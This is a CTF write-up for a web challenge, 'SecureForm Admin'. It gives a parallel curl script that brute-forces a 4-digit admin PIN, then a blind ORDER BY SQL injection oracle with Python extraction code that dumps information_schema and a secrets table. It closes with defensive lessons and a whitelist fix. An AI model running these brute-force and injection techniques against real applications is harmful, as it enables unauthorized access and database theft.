Challenge: SecureForm Admin · CTF: DalCTF 2026 · Category: Web · Difficulty: Hard

You’ve discovered the admin panel of a contact form application called SecureForm. Access is protected by a 4-digit PIN… but is it really secure? Once inside, the dashboard lists form submissions and offers sorting options. The developer tried to mimic WordPress sanitization, but something slipped through.


TL;DR

  1. The “secure” admin gate is a 4-digit PIN with no rate limiting → brute force 10,000 values, PIN is 7392.
  2. The dashboard’s sort feature builds an ORDER BY clause from user input → blind SQL injection.
  3. The home-made “WordPress-style” sanitizer strips the < character → blind extraction still works fine using only >.
  4. Dump information_schema, find a secrets table, read the flag column.

Recon

The landing page is a slick login form asking for a 4-digit PIN:

1
2
3
4
5
<form method="POST" class="login-form" autocomplete="off">
    <label for="pin">Enter 4-Digit PIN</label>
    <input type="text" id="pin" name="pin" maxlength="4" pattern="[0-9]{4}" required>
    <button type="submit" class="login-btn">Access Panel</button>
</form>

The response headers tell us what we’re dealing with:

1
2
3
4
HTTP/2 200
server: Apache/2.4.67 (Debian)
x-powered-by: PHP/8.2.31
set-cookie: PHPSESSID=...; path=/

So: PHP 8.2 on Apache, session-based auth. A quick check of the usual suspects (robots.txt, config.php, index.php.bak, .swp files) turns up nothing useful — no source disclosure here.

Submitting a wrong PIN just re-renders the page with:

1
<div class="error-message">Invalid PIN. Try again.</div>

Before reaching for brute force, I checked for the cheaper bugs first — PHP loose-comparison / type juggling is a classic on PIN checks:

PayloadResult
pin[]=1 (array)Invalid PIN
pin=trueInvalid PIN
pin=0Invalid PIN
pin= (empty)Invalid PIN

No type-juggling shortcut. But there’s a much simpler observation: a 4-digit PIN is only 10,000 possibilities, and the server happily processes 20 wrong attempts in a row without any lockout, CAPTCHA, or delay. The “secure” in SecureForm is doing a lot of heavy lifting.

Step 1 — Brute forcing the PIN

The success condition is easy to detect: a correct PIN gets a 302 Location: dashboard.php, while a wrong one re-renders the form with Invalid PIN. So I just fired all 10,000 PINs in parallel and flagged any response that didn’t contain Invalid PIN.

1
2
3
4
5
6
7
8
#!/bin/bash
# bf.sh
p="$1"
U="https://.../"
r=$(curl -s "$U" -d "pin=$p")
if ! echo "$r" | grep -qi "Invalid PIN"; then
  echo "HIT $p"
fi
1
2
seq -w 0 9999 | xargs -P 40 -I{} bash bf.sh {}
# HIT 7392

PIN = 7392. Logging in properly (following the redirect and keeping the session cookie) lands us on the dashboard.

Step 2 — The dashboard

The admin dashboard (“Contact Form Entries”) lets you add entries, clear them, and — crucially — sort the list:

1
2
3
4
5
6
<div class="sort-controls">
    <a href="?orderby=id&order=ASC">ID ↑</a>
    <a href="?orderby=id&order=DESC">ID ↓</a>
    <a href="?orderby=submission_time&order=DESC" class="active">Time ↓</a>
    <a href="?orderby=name&order=ASC">Name ↑</a>
</div>

Two user-controlled parameters that feed directly into what is almost certainly an ORDER BY clause: orderby and order. This is the textbook spot for an ORDER BY injection — you can’t parameterize a column name in a prepared statement, so developers tend to string-concatenate it, and that’s exactly what the challenge hints at with “the developer tried to mimic WordPress sanitization.”

A single quote confirms it:

1
2
?orderby=name'&order=ASC   →  "An error occurred while fetching entries."
?orderby=(select 1)&order=ASC  →  works fine, entries returned

The error is generic (no SQL message leaked), so this is blind. We control an expression inside ORDER BY, and subqueries are allowed.

Step 3 — Building a boolean oracle

ORDER BY injection doesn’t let you UNION SELECT directly, but you can branch on a condition with CASE and make the database error on demand. The trick: a scalar subquery that returns more than one row throws “Subquery returns more than 1 row”.

1
2
3
4
ORDER BY (CASE WHEN (<condition>)
               THEN name                       -- valid column → page renders
               ELSE (SELECT 1 UNION SELECT 2)   -- 2 rows in scalar context → SQL error
          END)
  • Condition TRUE → orders by name → normal page
  • Condition FALSE → subquery error → alert-error div appears

That gives a clean 1-bit oracle:

1
2
3
4
def true(cond):
    p = f"(CASE WHEN ({cond}) THEN name ELSE (SELECT 1 UNION SELECT 2) END)"
    r = s.get(D, params={"orderby": p, "order": "ASC"})
    return "alert-error" not in r.text

Gotcha #1 — you need rows in the table

The oracle was wildly inconsistent at first. The reason: with 0 or 1 rows, MySQL doesn’t reliably evaluate the per-row ORDER BY expression (with nothing to sort, the erroring branch may never get evaluated). After adding a handful of dummy entries through the legitimate “Add Entry” form, the oracle became perfectly deterministic:

1
2
for nm in ["Alice","Bob","Carol","Dave"]:
    s.post(D, data={"action":"add_entry","name":nm,"email":"x@x.com","message":"m"})
1
2
1=1  → OK   (TRUE)
1=2  → ERR  (FALSE)

Fingerprinting the DB through the same oracle: @@version evaluates fine while sqlite_version() errors → MySQL.

Gotcha #2 — the “WordPress sanitization”

Now the fun part the challenge teased. When I started binary-searching string lengths, the results were self-contradictory:

1
2
3
4
LENGTH(DATABASE()) > 4      → TRUE
LENGTH(DATABASE()) > 40     → FALSE
LENGTH(DATABASE()) < 10     → FALSE   (?!)
LENGTH(DATABASE()) <= 65535 → FALSE   (?!)

A length can’t be both > 4 and >= 65535. Something was mangling the queries. So I probed the operators one by one:

ExpressionExpectedOracle says
1=1TRUETRUE
1=2FALSEFALSE
5>4TRUETRUE
2>=1TRUETRUE
1!=2TRUETRUE
5 LIKE 5TRUETRUE
5<4FALSEFALSE (but errors, not real)
1<2TRUEFALSE
1<=2TRUEFALSE

The verdict: the < character is being filtered/stripped before the query runs. Any payload containing < becomes malformed SQL and errors out (which the oracle reads as “false”). Everything else — >, >=, =, !=, LIKE, BETWEEN — works.

This is the “WordPress sanitization” joke. WordPress has helpers like sanitize_sql_orderby(), and a developer cargo-culting that idea wrote a filter that scrubs < (presumably an over-eager attempt to block <script>/HTML) while leaving the actual ORDER BY injection wide open. Classic “sanitized the wrong thing.”

Step 4 — Blind extraction with > only

Losing < costs us nothing — binary search works perfectly fine with a single comparison operator. To find a value, keep testing value > mid:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def val(q, hi=100000):              # integer extraction, '>' only
    lo = 0
    while lo < hi:                  # (this '<' is in Python, not SQL!)
        m = (lo + hi) // 2
        if true(f"({q})>{m}"):
            lo = m + 1
        else:
            hi = m
    return lo

def getstr(q):                      # string extraction, char by char
    n = val(f"LENGTH(({q}))", 300)
    out = ""
    for i in range(1, n + 1):
        lo, hi = 0, 127
        while lo < hi:
            m = (lo + hi) // 2
            if true(f"ASCII(SUBSTRING(({q}),{i},1))>{m}"):
                lo = m + 1
            else:
                hi = m
        out += chr(lo)
    return out

One more small detail: I passed table names as hex literals (table_name=0x...) to avoid quoting issues entirely.

Walking information_schema:

1
2
3
4
5
6
7
db:       ctf_challenge
ntables:  2
 t0: entries
 t1: secrets        ← interesting

== entries columns ==  email, id, language, message, name, submission_time
== secrets columns ==  flag, id

A secrets table with a flag column. Read it:

1
getstr("SELECT flag FROM secrets LIMIT 0,1")
1
dalctf{bl1nd_sqli_0rd3r_by}

Flag

1
dalctf{bl1nd_sqli_0rd3r_by}

Lessons / takeaways

  • A short PIN with no rate limiting is not authentication. 10,000 combinations fall in seconds. Add lockouts, exponential backoff, or just use real credentials.
  • ORDER BY cannot be parameterized, so it’s a perennial injection sink. The only safe pattern is to whitelist column names and the sort direction against a fixed allow-list — never concatenate user input into the clause.
  • Sanitize the right thing. Stripping < does nothing against SQL injection; it only blocks a character SQLi rarely needs. A blocklist that misses >, =, BETWEEN, LIKE, and subqueries is no defense at all.
  • Blind ≠ safe. A generic “An error occurred” page still leaks one bit per request, and one bit per request is all you need to exfiltrate an entire database.

Defensive fix

1
2
3
4
5
6
7
// Whitelist, don't sanitize.
$allowed_cols = ['id', 'name', 'submission_time', 'email'];
$orderby = in_array($_GET['orderby'] ?? '', $allowed_cols, true)
         ? $_GET['orderby'] : 'id';
$order   = strtoupper($_GET['order'] ?? '') === 'DESC' ? 'DESC' : 'ASC';

$sql = "SELECT * FROM entries ORDER BY $orderby $order";  // now safe